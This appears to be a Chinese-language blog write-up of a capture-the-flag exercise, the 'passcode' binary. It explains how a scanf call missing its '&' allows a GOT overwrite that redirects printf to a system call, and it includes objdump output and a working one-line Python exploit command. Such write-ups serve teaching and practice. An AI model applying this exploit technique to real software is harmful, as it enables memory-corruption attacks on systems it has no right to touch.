scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

很明显我们要让passcode1和passcode为指定的值就行了。
但是我们尝试输点东西,又发现会报错。看到提示Segmentation Fault
段错误应该就是访问了不可访问的内存,这个内存要么是不存在的,要么是受系统保护的。

我们仔细再看下发现,输入passcode1和passcode2时,没有取地址符号,说明这不是平常的赋值。我们输入的是passcode的地址,那么
猜想1:我们要知道哪里存放着我们想要的值,把这个值的地址输进去就可以了
猜想2:或者有没有可能用什么溢出,我们自己在welcome()函数执行过程钟,把这两个特定值输进去,然后再指向他们?

看题解去
猜想都不对,我还是太菜了。

要查看他的保护,我们看下 有栈溢出保护

思路

利用got覆写技术:

将一个GOT表中的函数地址写到栈中,用来充当scanf()取的地址,然后把system(“/bin/cat flag”)这条指令的地址写到这个GOT表中的函数。

当这个函数被调用时,就会直接执行system(“/bin/cat flag”)

进一步探讨:

password1_addr=ebp-0x10,name和passcode1相差96个字节,所以name后4个字节正好可以覆盖到passcode1。因此可以把passcode1的地址覆盖成fflush或者printf或者exit的地址,然后利用scanf函数把system的地址覆写过去。这样等调用fflush或者printf或者exit的就调用成了system。

解题

我们看到scanf处没有加取地址符号(&),而且程序有没有对passcode1和passcode2 进行初始化;但看此时主函数中对welcome()和login()连续调用,这就隐含了它们的ebp是相同的;所以或许我们可以重这里利用;

我们用objdump -d passcode查看passcode这个可执行文件的汇编代码,这里我们主要看welcome()函数和login()函数的汇编

我们看到welcome()函数处的0x8048643处的代码,lea -0x70(%ebp),%edx;相当于edx=[ebp-0x70];冲这里我们知道name的地址是保存在ebp-0x70处;而在下图中0x8048586处的前3行处有mov -0x10(%ebp),%edx;可知passcod1在ebp-0x10处,因此在调用welcome处的字符串处我们输入(0x70-0x10)=96个字节,再覆盖四个字节就是passcode1的值,这里如果我们把passcode1的值覆盖为任意地址就可以实现任意地址写了;

这里我们将passcode1处的值写什么我们才能读到flag呢?
scanf(“%d”,passcode1)处的后两句又对printf调用,因此我们想能不能覆盖printf的地址呢,把printf的地址覆盖为

接下来我们用objdump -R passcode查看printf的地址

我们看到printf的指针保存在0x804a000处

可以将passcode1的值改为printf的地址(0x804a000),然后接下来会通过scanf将上面的关键系统命令的地址写进去,改变整个程序的执行过程,当程序调用

printf函数的时候,由于它的地址已经被改变了,所以会跳到关键系统命令的地方去。

1
2
80485e3:    c7 04 24 af 87 04 08     movl   $0x80487af,(%esp)
80485ea: e8 71 fe ff ff call 8048460 <system@plt>

将它(printf)的地址改为 0x080485ea这个关键的地方
这里使用pwntools这个包来写利用脚本。因为scanf是要求%d输入,所以0x080485ea == 134514154

答案的分析:

1
python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode

这里主要分析’\x00\xa0\x04\x08’+’\n’+’134514147\n’.
0x0804a000是print函数的got表中的地址,在welcome中输入96个a+’\x00\xa0\x04\x08’.结果呢,login中的scanf函数在输入的时候,直接变量的地址就是:0x0804a000,输入的134514147(0x080485e3),将0x0804a000原有的地址给覆写了.这就是got表复写.在执行printf函数的时候,实际上执行的是system函数.
简单的说:
plt—->got—->真地址(printf函数的代码),经过我们覆写之后,
plt—->got—->假地址(system函数的代码).
这样我们就获得了shell.

为什么输入的内容刚好覆写printf函数的got表呢?

原因是:scanf(“%d”,a);无&符号.听别人讲:如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址.这个栈应该是变量a的栈.就是说将a的值,16进制化作为地址,将你输入的内容写入这个地址中.如果这个地址不存在或不可写,将会报错.

参考

scanf忘记加’&’危害有多大? 详解GOT表覆写攻击技术
https://bbs.pediy.com/thread-247956.htm
https://www.cnblogs.com/binlmmhc/p/6189514.html
https://blog.csdn.net/qq_33528164/article/details/70505151
文章http://jing0107.lofter.com/post/1cbc869f_8b3d8a5

1234…9

lh

89 posts
12 categories
© 2020 lh
Powered by Hexo v3.8.0
|
Theme – NexT.Pisces v6.7.0